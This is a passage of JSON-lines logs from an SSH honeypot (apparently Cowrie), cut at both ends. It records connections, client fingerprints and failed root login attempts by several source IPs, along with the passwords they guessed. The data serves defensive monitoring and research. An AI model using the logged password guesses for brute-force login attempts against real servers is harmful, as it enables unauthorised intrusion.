,"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:18:30.924567Z","src_ip":"87.251.79.125","session":"2944a9ee279e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22021991","message":"login attempt [root/22021991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:18:31.144958Z","src_ip":"87.251.79.125","session":"2944a9ee279e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:18:32.218888Z","src_ip":"87.251.79.125","session":"2944a9ee279e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":44986,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c032bbe19a9","protocol":"ssh","message":"New connection: 103.15.222.183:44986 (10.17.0.5:22) [session: 3c032bbe19a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:18:46.151593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:18:46.156139Z","src_ip":"103.15.222.183","session":"3c032bbe19a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:18:46.403877Z","src_ip":"103.15.222.183","session":"3c032bbe19a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qpalzm","message":"login attempt [root/qpalzm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:18:47.150851Z","src_ip":"103.15.222.183","session":"3c032bbe19a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:18:48.406872Z","src_ip":"103.15.222.183","session":"3c032bbe19a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":35308,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9467b061e17","protocol":"ssh","message":"New connection: 103.82.20.28:35308 (10.17.0.5:22) [session: a9467b061e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:19:26.388943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:19:26.394365Z","src_ip":"103.82.20.28","session":"a9467b061e17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:19:26.653690Z","src_ip":"103.82.20.28","session":"a9467b061e17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15051990","message":"login attempt [root/15051990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:19:27.434176Z","src_ip":"103.82.20.28","session":"a9467b061e17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:19:28.696682Z","src_ip":"103.82.20.28","session":"a9467b061e17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":37711,"dst_ip":"10.17.0.5","dst_port":22,"session":"5330e5ecf816","protocol":"ssh","message":"New connection: 193.24.211.100:37711 (10.17.0.5:22) [session: 5330e5ecf816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:20:43.037781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:20:43.042986Z","src_ip":"193.24.211.100","session":"5330e5ecf816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:20:43.166506Z","src_ip":"193.24.211.100","session":"5330e5ecf816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hw230f8034t","password":"17932yhf823","message":"login attempt [hw230f8034t/17932yhf823] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:20:43.589781Z","src_ip":"193.24.211.100","session":"5330e5ecf816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:20:44.704953Z","src_ip":"193.24.211.100","session":"5330e5ecf816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":39878,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bf48289d193","protocol":"ssh","message":"New connection: 103.82.132.16:39878 (159.203.135.109:22) [session: 6bf48289d193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:20:50.967165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:20:50.972335Z","src_ip":"103.82.132.16","session":"6bf48289d193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:20:51.220831Z","src_ip":"103.82.132.16","session":"6bf48289d193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yss125","message":"login attempt [root/yss125] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:20:52.006614Z","src_ip":"103.82.132.16","session":"6bf48289d193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:20:53.258111Z","src_ip":"103.82.132.16","session":"6bf48289d193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":49734,"dst_ip":"10.17.0.5","dst_port":22,"session":"30ab5c3da569","protocol":"ssh","message":"New connection: 103.27.238.116:49734 (10.17.0.5:22) [session: 30ab5c3da569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:17.669281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:17.675707Z","src_ip":"103.27.238.116","session":"30ab5c3da569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:17.944667Z","src_ip":"103.27.238.116","session":"30ab5c3da569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":33106,"dst_ip":"10.17.0.5","dst_port":22,"session":"3664b5bc0f3e","protocol":"ssh","message":"New connection: 103.27.238.120:33106 (10.17.0.5:22) [session: 3664b5bc0f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:18.198469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:18.204985Z","src_ip":"103.27.238.120","session":"3664b5bc0f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:18.479996Z","src_ip":"103.27.238.120","session":"3664b5bc0f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cdflm","message":"login attempt [root/cdflm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:18.753572Z","src_ip":"103.27.238.116","session":"30ab5c3da569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mariposa","message":"login attempt [root/mariposa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:19.312915Z","src_ip":"103.27.238.120","session":"3664b5bc0f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:20.033610Z","src_ip":"103.27.238.116","session":"30ab5c3da569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:20.590155Z","src_ip":"103.27.238.120","session":"3664b5bc0f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":32144,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7fc5f76f6a7","protocol":"ssh","message":"New connection: 194.59.206.2:32144 (159.203.135.109:22) [session: c7fc5f76f6a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:21.545297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:21.550986Z","src_ip":"194.59.206.2","session":"c7fc5f76f6a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:21.666986Z","src_ip":"194.59.206.2","session":"c7fc5f76f6a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:21.779543Z","src_ip":"194.59.206.2","session":"c7fc5f76f6a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.142","src_port":58156,"dst_ip":"10.17.0.5","dst_port":22,"session":"3be1fd688fe6","protocol":"ssh","message":"New connection: 213.209.159.142:58156 (10.17.0.5:22) [session: 3be1fd688fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:31.473016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:31.477640Z","src_ip":"213.209.159.142","session":"3be1fd688fe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.160.47","src_port":58064,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc7bb9fa882f","protocol":"ssh","message":"New connection: 194.163.160.47:58064 (10.17.0.5:22) [session: cc7bb9fa882f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:35.567622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:22:35.575695Z","src_ip":"194.163.160.47","session":"cc7bb9fa882f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm